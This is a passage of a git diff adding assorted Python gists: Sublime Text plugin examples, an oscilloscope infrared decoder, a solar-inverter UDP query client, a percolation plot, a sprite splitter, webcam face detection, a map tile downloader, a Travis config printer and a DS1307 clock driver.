+        sublime.status_message("User said: " + user_input)
+        # this is a dialog box, with same message
+        sublime.message_dialog("User said: " + user_input)
+
+
+# ------------------------------------------------------------
+# message_dialog example with cancel example
+# to run this use:
+# view.run_command("example2")
+# at the command line in Sublime
+# Note: Example2Command is expressed as example2 with the view.run_command("example2")
+
+
+
+class Example2Command(sublime_plugin.TextCommand):
+    def run(self, edit):
+
+
+
+        # test of question box
+        #  this no work, in 2 or version 3 beta sublime.question_box("thi sis a quetsion box")
+
+        # this has OK button only
+        sublime.message_dialog("Message goes here.")
+
+
+
+        # this has two buttnos, Cancel and OKY
+        sublime.ok_cancel_dialog("hello mrm", "OKY")
+        #  no work sublime.errormessage_dialog("BIG ERROR")
+        sublime.status_message("fred  ******************")  # this is at bottom
+
+        # this has Cancel and OK button labeled OK Rob - and will respond depending on user action
+        # Esc key will be taken as a Cancel
+
+        if sublime.ok_cancel_dialog("OK ROB ?", "OK Rob"):
+            # print will print to console
+            print ("You Pressed OK")  # this will print to console if OK pressed.
+        else:
+            print ("You Pressed Cancel")
+
+
+# ------------------------------------------------------------
+# Dialog for error_message
+# to run this use:
+# view.run_command("example3")
+# at the command line in Sublime
+# Note: Example3Command is expressed as example3 with the view.run_command("example3")
+
+
+class Example3Command(sublime_plugin.TextCommand):
+    def run(self, edit):
+        sublime.error_message("Must be and error!")
diff --git a/hard-gists/6027183/._snippet.py b/hard-gists/6027183/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6027183/._snippet.py differ
diff --git a/hard-gists/6027183/snippet.py b/hard-gists/6027183/snippet.py
new file mode 100644
index 00000000..b5e152bc
--- /dev/null
+++ b/hard-gists/6027183/snippet.py
@@ -0,0 +1,100 @@
+#!/usr/bin/python
+
+""" Download an IR remote signal from a Rigol DS1052E and
+analyze it for a NEC protocol signal.
+
+Ken Shirriff
+http://righto.com
+""" 
+import array
+import sys
+import time
+import visa
+
+# Get the USB device, e.g. 'USB0::0x1AB1::0x0588::DS1ED141904883'
+instruments = visa.get_instruments_list()
+usb = filter(lambda x: 'USB' in x, instruments)
+if len(usb) != 1:
+    print 'Bad instrument list', instruments
+    sys.exit(-1)
+scope = visa.instrument(usb[0], timeout=20, chunk_size=1024000) # bigger timeout for long mem
+
+# Oscilloscope can get confused if too many commands arrive too fast
+def scopewrite(str):
+    scope.write(str)
+    time.sleep(.1)
+
+# Set the scope the way we want it
+scopewrite(':ACQ:MEMD LONG') # Long memory type
+scopewrite(':CHAN1:COUP DC') # DC coupling
+scopewrite(':CHAN1:DISP ON') # Channel 1 on
+scopewrite(':CHAN2:DISP OFF') # Channel 1 off
+scopewrite(':CHAN1:SCAL 1') # Channel 1 vertical scale 1 volts
+scopewrite(':CHAN1:OFFS -2') # Channel 1 vertical offset 2 volts
+scopewrite(':TIM:SCAL .01') # 10ms time interval
+scopewrite(':TIM:OFFS .05') # Offset time 50 ms
+
+scopewrite(':TRIG:EDGE:SOUR CHAN1') # Edge-trigger from channel 1
+scopewrite(':TRIG:EDGE:SWE SING') # Single trigger
+scopewrite(':TRIG:EDGE:COUP DC') # DC trigger coupling
+scopewrite(':TRIG:EDGE:SLOP NEG') # Trigger on negative edge
+scopewrite(':TRIG:EDGE:LEV 2.5') # Trigger at 2.5 volts
+
+# Get the sample rate for processing the input data
+sample_rate = scope.ask_for_values(':ACQ:SAMP?')[0]
+while 1:
+    scopewrite(":RUN")
+    while scope.ask(':TRIG:STAT?') != 'STOP':
+        time.sleep(.2)
+
+    # Grab the raw data from channel 1, which will take about 10 seconds
+    scopewrite(":STOP")
+    scopewrite(":WAV:POIN:MODE RAW")
+    rawdata = scope.ask(":WAV:DATA? CHAN1")
+
+    # Convert data into high/low values, keeping in mind that rawdata is inverted
+    # First 10 bytes are header
+    data = array.array('B', rawdata[10:])
+    data = map(lambda x: x < 128, data)
+
+    # Decode an IR signal in NEC protocol
+    # For an explanation, see
+    # http://wiki.altium.com/display/ADOH/NEC+Infrared+Transmission+Protocol
+    def decode():
+        # Process data into list of milliseconds high, milliseconds low, milliseconds high, etc.
+        regions = []
+        state = data[0]
+        pos = 0
+        for i in range(1, len(data)):
+            if data[i] != state:
+                regions.append((i - pos) * 1000. / sample_rate)
+                pos = i
+                state = data[i]
+
+        if len(regions) < 64 or data[0] != True:
+            raise Exception('Wrong number of regions: %s' % regions)
+
+        # Make sure the received length is within 30% of the expected length
+        # Otherwise throw an exception
+        def expect(received, expected):
+            if received < .7 * expected or received > 1.3 * expected:
+                raise Exception('Wanted length %f vs %f\n%s' % (received, expected, regions))
+
+        # Process the header and 32 bits of data in the IR message
+        result = 0
+        expect(regions[1], 9) # 9 ms header mark
+        expect(regions[2], 4.5) # 4.5ms header space
+        for i in range(0, 32): # Loop over 32 bits
+            expect(regions[3 + 2*i], .5625) # 562.5 microseconds mark
+            if regions[4 + 2*i] > 1.000: # If more than 1 millisecond, must be a 1
+                expect(regions[4 + 2*i], 1.6875) # 1.6875ms mark for 1 bit
+                result = (result << 1) | 1
+            else:
+                expect(regions[4 + 2*i], .5625) # 562.5 us mark for 0 bit
+                result = result << 1
+        return result
+
+    try:
+        print '%x' % decode()
+    except Exception, e:
+        print 'Decode failed', e
diff --git a/hard-gists/6027504/._snippet.py b/hard-gists/6027504/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6027504/._snippet.py differ
diff --git a/hard-gists/6027504/snippet.py b/hard-gists/6027504/snippet.py
new file mode 100644
index 00000000..246297e5
--- /dev/null
+++ b/hard-gists/6027504/snippet.py
@@ -0,0 +1,103 @@
+import struct
+import sys
+import time
+import json
+from struct import *
+from twisted.web import server, resource
+from twisted.internet.protocol import DatagramProtocol
+from twisted.internet import reactor
+from twisted.application.internet import MulticastServer
+
+
+user_pw = '0000' # default is '0000'
+
+code_login = 0xfffd040d
+code_total_today = 0x54000201
+code_spot_ac_power = 0x51000201
+
+src_serial = 987193143 # = 37 5F D7 3A (intel format, little endian)
+dst_serial = 304913813 # = 95 9D 2C 12 (intel format, little endian)
+
+comm_port = 9522
+comm_dst = '192.168.2.103'
+
+
+def get_encoded_pw(password):
+    # user=0x88, install=0xBB
+    encpw=[0x88,0x88,0x88,0x88,0x88,0x88,0x88,0x88,0x88,0x88,0x88,0x88]
+    for index in range(min(len(encpw), len(password))):
+        encpw[index] = encpw[index] + ord(password[index])
+        
+    ret = ""
+    for ch in encpw:
+        ret = ret + hex(ch).replace('0x','')
+    return ret
+
+cmd_login = '534d4100000402a000000001003a001060650ea0ffffffffffff00017800%s00010000000004800c04fdff07000000840300004c20cb5100000000%s00000000' % (struct.pack('<I', src_serial).encode('hex'), get_encoded_pw(user_pw))
+cmd_logout = '534d4100000402a00000000100220010606508a0ffffffffffff00037800%s000300000000d7840e01fdffffffffff00000000' % (struct.pack('<I', src_serial).encode('hex'))
+cmd_query_total_today = '534d4100000402a00000000100260010606509e0b500%s00007800%s000000000000f1b10002005400002600ffff260000000000' % (struct.pack('<I', dst_serial).encode('hex'), struct.pack('<I', src_serial).encode('hex'))
+cmd_query_spot_ac_power = '534d4100000402a00000000100260010606509e0b500%s00007800%s00000000000081f00002005100002600ffff260000000000' % (struct.pack('<I', dst_serial).encode('hex'), struct.pack('<I', src_serial).encode('hex'))
+
+sma_data = {}
+
+query_list = []
+rea = 0
+
+class MulticastClientUDP(DatagramProtocol):
+
+   def datagramReceived(self, datagram, address):
+      global sma_data, data_available
+      data = datagram.encode('hex')
+      print "received %d bytes " % len(datagram)          
+      print "data: " + data
+      code = get_code(datagram)      
+      print "code: %d" % code
+      if code == code_login:
+         print "received package code: login"
+         send_command(cmd_query_total_today)
+      if code == code_total_today:
+         print "received package code: total, today power data"
+         total = get_long_value_at(datagram, 62)
+         today = get_long_value_at(datagram, 78)
+         print "total: %d" % total
+         print "today: %d" % today
+         sma_data['total'] = total
+         sma_data['today'] = today
+         send_command(cmd_query_spot_ac_power)
+      if code == code_spot_ac_power:
+         print "received package code: spot ac power"
+         value = get_long_value_at(datagram, 62)
+         if value == 0x80000000:
+            value = 0
+         print value
+         sma_data['spotacpower'] = value
+         output_data = json.dumps(sma_data)
+         print output_data
+         out = open('sma_data.json','w')
+         out.write(output_data)
+         out.close()
+         reactor.stop()
+
+
+def send_command(cmd):
+   print "sending command: %s" % cmd
+   data = cmd.decode('hex')
+   rea.write(data, (comm_dst, comm_port))
+   
+def get_code(data):
+   print data[42:46].encode('hex')
+   c = unpack('I', data[42:46])
+   return c[0]   
+
+def get_long_value_at(data, index):
+   v = unpack('I', data[index:index+4])
+   return v[0]
+
+def callfunc(x):
+    print "stopping reactor"
+    reactor.stop()
+    
+rea = reactor.listenUDP(0, MulticastClientUDP())
+_DelayedCallObj = reactor.callLater(5, callfunc, "callfunc called after 4 sec")
+send_command(cmd_login)
+reactor.run()
diff --git a/hard-gists/6033364/._snippet.py b/hard-gists/6033364/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6033364/._snippet.py differ
diff --git a/hard-gists/6033364/snippet.py b/hard-gists/6033364/snippet.py
new file mode 100644
index 00000000..30ca9641
--- /dev/null
+++ b/hard-gists/6033364/snippet.py
@@ -0,0 +1,57 @@
+from pylab import *
+from scipy.ndimage import measurements
+import numpy as np
+import matplotlib.pyplot as plt
+import time
+import sys
+import signal
+
+def signal_handler(signal, frame):
+    sys.exit(0)
+signal.signal(signal.SIGINT, signal_handler)
+ 
+# Set up the figures
+plt.figure(0, figsize=(9,9))
+plt.title("Clusters by area")
+
+plt.figure(1, figsize=(7,4))
+plt.title("Number of clusters")
+
+plt.figure(2, figsize = (7,4))
+plt.title("Largest Cluster")
+plt.ion()
+
+time.sleep(20)
+ 
+for L in [50, 100, 200, 500, 1000]: 
+
+  for marker in ['ko', 'bo', 'ro']:
+		# Randomise the percolation network
+		r = rand(L,L)
+	 
+		for p in np.arange(0., 1., 0.05):
+			# Determine the connectivity for probability p
+			z = r<p
+
+			# Define the clusters using the ndimage.measurements routines
+			lw, num = measurements.label(z)
+
+			# Plot the clusters for given p
+			plt.figure(0)
+			area = measurements.sum(z, lw, index=arange(lw.max() + 1))
+			areaImg = area[lw]
+			plt.imshow(areaImg, origin='lower', interpolation='nearest', vmin=1, vmax=L*5)
+			plt.draw()
+
+			# Plot the number of clusters		
+			plt.figure(1)
+			plt.plot(p, lw.max(), marker)
+			plt.draw()
+
+			# Plot the size of the largest cluster		
+			plt.figure(2)
+			plt.plot(p, area.max(), marker)
+			plt.draw()
+		plt.ioff() 
+		plt.show()
+
diff --git a/hard-gists/6038174/._snippet.py b/hard-gists/6038174/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6038174/._snippet.py differ
diff --git a/hard-gists/6038174/snippet.py b/hard-gists/6038174/snippet.py
new file mode 100644
index 00000000..b362370e
--- /dev/null
+++ b/hard-gists/6038174/snippet.py
@@ -0,0 +1,61 @@
+#/usr/local/bin/python
+import os,sys
+from xml.etree import ElementTree
+from PIL import Image
+
+def tree_to_dict(tree):
+    d = {}
+    for index, item in enumerate(tree):
+        if item.tag == 'key':
+            if tree[index+1].tag == 'string':
+                d[item.text] = tree[index + 1].text
+            elif tree[index + 1].tag == 'true':
+                d[item.text] = True
+            elif tree[index + 1].tag == 'false':
+                d[item.text] = False
+            elif tree[index+1].tag == 'dict':
+                d[item.text] = tree_to_dict(tree[index+1])
+    return d
+
+def gen_png_from_plist(plist_filename, png_filename):
+    file_path = plist_filename.replace('.plist', '')
+    big_image = Image.open(png_filename)
+    root = ElementTree.fromstring(open(plist_filename, 'r').read())
+    plist_dict = tree_to_dict(root[0])
+    to_list = lambda x: x.replace('{','').replace('}','').split(',')
+    for k,v in plist_dict['frames'].items():
+        rectlist = to_list(v['frame'])
+        width = int( rectlist[3] if v['rotated'] else rectlist[2] )
+        height = int( rectlist[2] if v['rotated'] else rectlist[3] )
+        box=( 
+            int(rectlist[0]),
+            int(rectlist[1]),
+            int(rectlist[0]) + width,
+            int(rectlist[1]) + height,
+            )
+        sizelist = [ int(x) for x in to_list(v['sourceSize'])]
+        rect_on_big = big_image.crop(box)
+        result_image = Image.new('RGBA', sizelist, (0,0,0,0))
+        result_box=(
+            ( sizelist[0] - width )/2,
+            ( sizelist[1] - height )/2,
+            ( sizelist[0] + width )/2,
+            ( sizelist[1] + height )/2
+            )
+        result_image.paste(rect_on_big, result_box, mask=0)
+        if v['rotated']:
+            result_image = result_image.rotate(90)
+        if not os.path.isdir(file_path):
+            os.mkdir(file_path)
+        outfile = (file_path+'/' + k).replace('gift_', '')
+        print outfile, "generated"
+        result_image.save(outfile)
+
+if __name__ == '__main__':
+    filename = sys.argv[1]
+    plist_filename = filename + '.plist'
+    png_filename = filename + '.png'
+    if (os.path.exists(plist_filename) and os.path.exists(png_filename)):
+        gen_png_from_plist( plist_filename, png_filename )
+    else:
+        print "make sure you have boith plist and png files in the same directory"
\ No newline at end of file
diff --git a/hard-gists/603819/._snippet.py b/hard-gists/603819/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/603819/._snippet.py differ
diff --git a/hard-gists/603819/snippet.py b/hard-gists/603819/snippet.py
new file mode 100644
index 00000000..ee159b12
--- /dev/null
+++ b/hard-gists/603819/snippet.py
@@ -0,0 +1,54 @@
+#!/usr/bin/env python
+
+from opencv.cv import *
+from opencv.highgui import *
+
+cvNamedWindow("w1", CV_WINDOW_AUTOSIZE)
+capture = cvCreateCameraCapture(0)
+
+def calculate( image ):
+	greyscale = cvCreateImage(cvSize(image.width, image.height), 8, 1)
+	cvCvtColor(image, greyscale, CV_BGR2GRAY)
+	storage = cvCreateMemStorage(0)
+	cvClearMemStorage(storage)
+	cvEqualizeHist(greyscale, greyscale)
+	cascade = cvLoadHaarClassifierCascade( '/usr/share/opencv/haarcascades/haarcascade_frontalface_default.xml', cvSize(1,1))
+	faces = cvHaarDetectObjects(greyscale, cascade, storage, 1.2, 2, CV_HAAR_DO_CANNY_PRUNING, cvSize(25,25))
+
+	ret = []
+
+	if faces:
+		for f in faces:
+			omghax = {}
+			omghax['x1'] = f.x
+			omghax['y1'] = f.y
+			omghax['x2'] = f.x+f.width
+			omghax['y2'] = f.y+f.height
+			ret.append( omghax )
+	return ret
+
+def repeat():
+	global capture
+
+	width  = 320
+	height = 240
+
+	frame  = cvQueryFrame(capture)
+	minime = cvCreateMat(height, width,cvGetElemType( frame ))
+	cvResize(frame, minime)
+
+	hax = calculate( minime )
+
+	for l in hax:
+		cvRectangle(
+			minime,
+			cvPoint( int(l['x1']), l['y1']),
+			cvPoint(int(l['x2']), int(l['y2'])),
+			CV_RGB(0, 255, 0),
+			3, 8, 0)
+
+	cvShowImage("w1", minime)
+	c = cvWaitKey(2)
+
+while True:
+	repeat()
diff --git a/hard-gists/6038468/._snippet.py b/hard-gists/6038468/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6038468/._snippet.py differ
diff --git a/hard-gists/6038468/snippet.py b/hard-gists/6038468/snippet.py
new file mode 100644
index 00000000..3896b2e2
--- /dev/null
+++ b/hard-gists/6038468/snippet.py
@@ -0,0 +1,120 @@
+#!/usr/bin/python
+# GoogleMapDownloader.py 
+# Created by Hayden Eskriett [http://eskriett.com]
+#
+# A script which when given a longitude, latitude and zoom level downloads a
+# high resolution google map
+# Find the associated blog post at: http://blog.eskriett.com/2013/07/19/downloading-google-maps/
+
+import urllib
+import Image
+import os
+import math
+
+class GoogleMapDownloader:
+    """
+        A class which generates high resolution google maps images given
+        a longitude, latitude and zoom level
+    """
+
+    def __init__(self, lat, lng, zoom=12):
+        """
+            GoogleMapDownloader Constructor
+
+            Args:
+                lat:    The latitude of the location required
+                lng:    The longitude of the location required
+                zoom:   The zoom level of the location required, ranges from 0 - 23
+                        defaults to 12
+        """
+        self._lat = lat
+        self._lng = lng
+        self._zoom = zoom
+
+    def getXY(self):
+        """
+            Generates an X,Y tile coordinate based on the latitude, longitude 
+            and zoom level
+
+            Returns:    An X,Y tile coordinate
+        """
+        
+        tile_size = 256
+
+        # Use a left shift to get the power of 2
+        # i.e. a zoom level of 2 will have 2^2 = 4 tiles
+        numTiles = 1 << self._zoom
+
+        # Find the x_point given the longitude
+        point_x = (tile_size/ 2 + self._lng * tile_size / 360.0) * numTiles // tile_size
+
+        # Convert the latitude to radians and take the sine
+        sin_y = math.sin(self._lat * (math.pi / 180.0))
+
+        # Calulate the y coorindate
+        point_y = ((tile_size / 2) + 0.5 * math.log((1+sin_y)/(1-sin_y)) * -(tile_size / (2 * math.pi))) * numTiles // tile_size
+
+        return int(point_x), int(point_y)
+
+    def generateImage(self, **kwargs):
+        """
+            Generates an image by stitching a number of google map tiles together.
+            
+            Args:
+                start_x:        The top-left x-tile coordinate
+                start_y:        The top-left y-tile coordinate
+                tile_width:     The number of tiles wide the image should be -
+                                defaults to 5
+                tile_height:    The number of tiles high the image should be -
+                                defaults to 5
+            Returns:
+                A high-resolution Goole Map image.
+        """
+
+        start_x = kwargs.get('start_x', None)
+        start_y = kwargs.get('start_y', None)
+        tile_width = kwargs.get('tile_width', 5)
+        tile_height = kwargs.get('tile_height', 5)
+
+        # Check that we have x and y tile coordinates
+        if start_x == None or start_y == None :
+            start_x, start_y = self.getXY()
+
+        # Determine the size of the image
+        width, height = 256 * tile_width, 256 * tile_height
+
+        #Create a new image of the size require
+        map_img = Image.new('RGB', (width,height))
+
+        for x in range(0, tile_width):
+            for y in range(0, tile_height) :
+                url = 'https://mt0.google.com/vt?x='+str(start_x+x)+'&y='+str(start_y+y)+'&z='+str(self._zoom)
+
+                current_tile = str(x)+'-'+str(y)
+                urllib.urlretrieve(url, current_tile)
+            
+                im = Image.open(current_tile)
+                map_img.paste(im, (x*256, y*256))
+              
+                os.remove(current_tile)
+
+        return map_img
+
+def main():
+    # Create a new instance of GoogleMap Downloader
+    gmd = GoogleMapDownloader(51.5171, 0.1062, 13)
+
+    print("The tile coorindates are {}".format(gmd.getXY()))
+
+    try:
+        # Get the high resolution image
+        img = gmd.generateImage()
+    except IOError:
+        print("Could not generate the image - try adjusting the zoom level and checking your coordinates")
+    else:
+        #Save the image to disk
+        img.save("high_resolution_image.png")
+        print("The map has successfully been created")
+
+
+if __name__ == '__main__':  main()
\ No newline at end of file
diff --git a/hard-gists/6040840/._snippet.py b/hard-gists/6040840/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6040840/._snippet.py differ
diff --git a/hard-gists/6040840/snippet.py b/hard-gists/6040840/snippet.py
new file mode 100644
index 00000000..49d10ae2
--- /dev/null
+++ b/hard-gists/6040840/snippet.py
@@ -0,0 +1,151 @@
+import sublime_plugin
+import datetime
+
+'''
+  __  __     __  __
+ |  \/  |_ _|  \/  |
+ | |\/| | '_| |\/| |_
+ |_|  |_|_| |_|  |_(_)
+
+Project: Examples of using show_quick_panel in Sublime 2
+
+Platform: tested only on a Mac
+Tested on: ST2 and ST3
+July 19, 2013
+
+File Name: mrm_show_quick_panel.py
+
+Example pops up a list of dates with different formats.
+and bonus:
+  -learn how to invoke quick_panel from a hotkey,
+    and from Sublime Text's "Command Palette "
+
+
+Place file in your User folder
+On Mac it is:
+/Users/username/Library/Application Support/Sublime Text 2
+   /Packages/User/mrm_show_quick_panel.py
+
+On a Mac, this is a hidden folder,
+Find the folder by going to Finder and
+Go | Go to Folder
+~/Library/Application Support/Sublime Text 2
+press ENTER
+
+---
+Here are 3 methods for popping up Sublime Text's quick_panel
+
+1 -- How to run this from console-----------------------------------
+Once installed, run the following command from
+the Python console (Ctrl+`):
+
+view.run_command("insert_date_panel")
+and you will see the list in the quick panel
+
+Press Esc to cancel,
+be careful if you run this when this file
+is viewed, it will add the date text to this file. Try it on
+a new blank file.
+
+
+2 -- How to add this to a hotkey------------------------------------
+How to add this to the hotkey ctrl+shift+8
+by:
+adding
+{ "keys": ["ctrl+shift+8"], "command": "insert_date_panel" }
+this to file
+/Users/myusernameonmac/Library/Application Support/
+    Sublime Text 2/Packages/User/Default (OSX).sublime-keymap
+
+Note:
+    You must use
+    "insert_date_panel"
+    for the class
+    InsertDatePanelCommand
+      i.e. CamelCase must be converted to lower case, with underscores
+
+3 -- How to add this to the Command Palette  (Cmd-Shift-P) on Mac ---
+
+a- Create a file:
+  /Users/robmccormack/Library/Application Support/Sublime Text 2/
+     Packages/User/Default.sublime-commands
+
+  There is same file type of file located in:
+      Packages/Default/Default.sublime-commands
+
+   don't modify files in Packages/Default,
+   they will be overwritten when upgrading
+   always use the /User
+   folder for user specific settings.
+
+b- add this to file:
+    Default.sublime-commands
+[
+     {
+        "caption": "Insert Date from Quick Panel",
+        "command": "insert_date_panel"
+    }
+]
+
+
+c- Then you can press Cmd-Shift_P, and type in:
+   Inser...
+   - the first few letters of:
+       Insert Date from Quick Panel
+   and you will see this on list
+
+To learn more about Python date formatting options:
+  Python docs: 7.1.8. strftime() and strptime() behavior:
+  http://tinyurl.com/pydates
+
+ Style guide for Python
+ http://www.python.org/dev/peps/pep-0008/
+
+'''
+
+
+class InsertDatePanelCommand(sublime_plugin.TextCommand):
+
+    def on_done(self, index):
+
+        #  if user cancels with Esc key, do nothing
+        #  if canceled, index is returned as  -1
+        if index == -1:
+            return
+
+        # if user picks from list, return the correct entry
+        self.view.run_command(
+            "insert_my_text", {"args":
+            {'text': self.list[index]}})
+
+    def run(self, edit):
+
+    # this will populate the quick_panel with 4 date formats
+        d1 = str(datetime.datetime.now())
+        d2 = str(datetime.date.today())
+
+        d3 = datetime.date.today().strftime("%d %B %Y (%A)") + \
+            ' @ ' + datetime.datetime.now().strftime("%H:%M")
+
+        d4 = datetime.date.today().strftime("%A, %d-%B-%Y") + \
+            datetime.datetime.now().strftime(" %I:%M %p")
+
+        self.list = [d1, d2, d3, d4]
+
+        # show_quick_panel(items, on_done, <flags>, <default_index>)
+        # ref: http://www.sublimetext.com/forum/viewtopic.php?f=4&t=7139
+        # take the list, and place it in a quick_panel, make 3rd item
+        # default pick
+
+        self.view.window().show_quick_panel(self.list, self.on_done,
+            1, 2)
+
+
+class InsertMyText(sublime_plugin.TextCommand):
+
+    def run(self, edit, args):
+
+        # add this to insert at current cursor position
+        # http://www.sublimetext.com/forum/viewtopic.php?f=6&t=11509
+
+        self.view.insert(edit, self.view.sel()[0].begin(), args['text'])
diff --git a/hard-gists/6044677/._snippet.py b/hard-gists/6044677/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6044677/._snippet.py differ
diff --git a/hard-gists/6044677/snippet.py b/hard-gists/6044677/snippet.py
new file mode 100644
index 00000000..c12f614c
--- /dev/null
+++ b/hard-gists/6044677/snippet.py
@@ -0,0 +1,11 @@
+from tox._config import parseconfig
+
+print "language: python"
+print "python: 2.7"
+print "env:"
+for env in parseconfig(None, 'tox').envlist:
+    print "  - TOX_ENV=%s" % env
+print "install:"
+print "  - pip install tox"
+print "script:"
+print "  - tox -e $TOX_ENV"
diff --git a/hard-gists/6049584/._snippet.py b/hard-gists/6049584/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6049584/._snippet.py differ
diff --git a/hard-gists/6049584/snippet.py b/hard-gists/6049584/snippet.py
new file mode 100644
index 00000000..ed74e703
--- /dev/null
+++ b/hard-gists/6049584/snippet.py
@@ -0,0 +1,212 @@
+#!/usr/bin/env python
+#encoding: utf-8
+ 
+# Copyright (C) 2013 @XiErCh
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from datetime import datetime
+
+import smbus
+
+
+def _bcd_to_int(bcd):
+    """Decode a 2x4bit BCD to a integer.
+    """
+    out = 0
+    for d in (bcd >> 4, bcd):
+        for p in (1, 2, 4 ,8):
+            if d & 1:
+                out += p
+            d >>= 1
+        out *= 10
+    return out / 10
+
+
+def _int_to_bcd(n):
+    """Encode a one or two digits number to the BCD.
+    """
+    bcd = 0
+    for i in (n // 10, n % 10):
+        for p in (8, 4, 2, 1):
+            if i >= p:
+                bcd += 1
+                i -= p
+            bcd <<= 1
+    return bcd >> 1
+
+
+class DS1307():
+    _REG_SECONDS = 0x00
+    _REG_MINUTES = 0x01
+    _REG_HOURS = 0x02
+    _REG_DAY = 0x03
+    _REG_DATE = 0x04
+    _REG_MONTH = 0x05
+    _REG_YEAR = 0x06
+    _REG_CONTROL = 0x07
+
+
+    def __init__(self, twi=1, addr=0x68):
+        self._bus = smbus.SMBus(twi)
+        self._addr = addr
+
+
+    def _write(self, register, data):
+        self._bus.write_byte_data(self._addr, register, data)
+
+
+    def _read(self, data):
+        return self._bus.read_byte_data(self._addr, data)
+
+
+    def _read_seconds(self):
+        return _bcd_to_int(self._read(self._REG_SECONDS))
+
+
+    def _read_minutes(self):
+        return _bcd_to_int(self._read(self._REG_MINUTES))
+
+
+    def _read_hours(self):
+        d = self._read(self._REG_HOURS)
+        if d & 0x40:
+            return _bcd_to_int(d & 0x3F)
+        else:
+            h = _bcd_to_int(d & 0x1F)
+            if d & 0x20:
+                h += 11  # Convert 12h to 24h
+            elif h == 12:
+                h = 0
+            return h
+
+
+    def _read_day(self):
+        return _bcd_to_int(self._read(self._REG_DAY))
+
+
+    def _read_date(self):
+        return _bcd_to_int(self._read(self._REG_DATE))
+
+
+    def _read_month(self):
+        return _bcd_to_int(self._read(self._REG_MONTH))
+
+
+    def _read_year(self):
+        return _bcd_to_int(self._read(self._REG_YEAR))
+
+
+    def read_all(self):
+        """Return a tuple such as (year, month, date, day, hours, minutes,
+        seconds).
+        """
+        return (self._read_year(), self._read_month(), self._read_date(),
+                self._read_day(), self._read_hours(), self._read_minutes(),
+                self._read_seconds())
+
+
+    def read_str(self):
+        """Return a string such as 'YY-DD-MMTHH-MM-SS'.
+        """
+        return '%02d-%02d-%02dT%02d:%02d:%02d' % (self._read_year(),
+                self._read_month(), self._read_date(), self._read_hours(),
+                self._read_minutes(), self._read_seconds())
+
+
+    def read_datetime(self, century=21, tzinfo=None):
+        """Return the datetime.datetime object.
+        """
+        return datetime((century - 1) * 100 + self._read_year(),
+                self._read_month(), self._read_date(), self._read_hours(),
+                self._read_minutes(), self._read_seconds(), 0, tzinfo=tzinfo)
+
+
+    def write_all(self, seconds=None, minutes=None, hours=None, day=None,
+            date=None, month=None, year=None, save_as_24h=True):
+        """Direct write un-none value.
+        Range: seconds [0,59], minutes [0,59], hours [0,23],
+               day [0,7], date [1-31], month [1-12], year [0-99].
+        """
+        if seconds is not None:
+            if seconds < 0 or seconds > 59:
+                raise ValueError('Seconds is out of range [0,59].')
+            self._write(self._REG_SECONDS, _int_to_bcd(seconds))
+
+        if minutes is not None:
+            if minutes < 0 or minutes > 59:
+                raise ValueError('Minutes is out of range [0,59].')
+            self._write(self._REG_MINUTES, _int_to_bcd(minutes))
+
+        if hours is not None:
+            if hours < 0 or hours > 23:
+                raise ValueError('Hours is out of range [0,23].')
+            if save_as_24h:
+                self._write(self._REG_HOURS, _int_to_bcd(hours) | 0x40)
+            else:
+                if hours == 0:
+                    h = _int_to_bcd(12) | 0x32
+                elif hours <= 12:
+                    h = _int_to_bcd(hours)
+                else:
+                    h = _int_to_bcd(hours - 12) | 0x32
+                self._write(self._REG_HOURS, h)
+
+        if year is not None:
+            if year < 0 or year > 99:
+                raise ValueError('Years is out of range [0,99].')
+            self._write(self._REG_YEAR, _int_to_bcd(year))
+
+        if month is not None:
+            if month < 1 or month > 12:
+                raise ValueError('Month is out of range [1,12].')
+            self._write(self._REG_MONTH, _int_to_bcd(month))
+
+        if date is not None:
+            if date < 1 or date > 31:
+                raise ValueError('Date is out of range [1,31].')
+            self._write(self._REG_DATE, _int_to_bcd(date))
+
+        if day is not None:
+            if day < 1 or day > 7:
+                raise ValueError('Day is out of range [1,7].')
+            self._write(self._REG_DAY, _int_to_bcd(day))
+
+
+    def write_datetime(self, dt):
+        """Write from a datetime.datetime object.
+        """
+        self.write_all(dt.second, dt.minute, dt.hour,
+                dt.isoweekday(), dt.day, dt.month, dt.year % 100)
+
+
+    def write_now(self):
+        """Equal to DS1307.write_datetime(datetime.datetime.now()).
+        """
+        self.write_datetime(datetime.now())
+
+
+def main():
+    ds = DS1307(1, 0x68)
+    print(ds.read_datetime())
+    #ds.write_now()
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/6055795/._snippet.py b/hard-gists/6055795/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6055795/._snippet.py differ
diff --git a/hard-gists/6055795/snippet.py b/hard-gists/6055795/snippet.py
new file mode 100644
index 00000000..281fbf42
--- /dev/null
+++ b/hard-gists/6055795/snippet.py
@@ -0,0 +1,35 @@
+#!/usr/bin/python
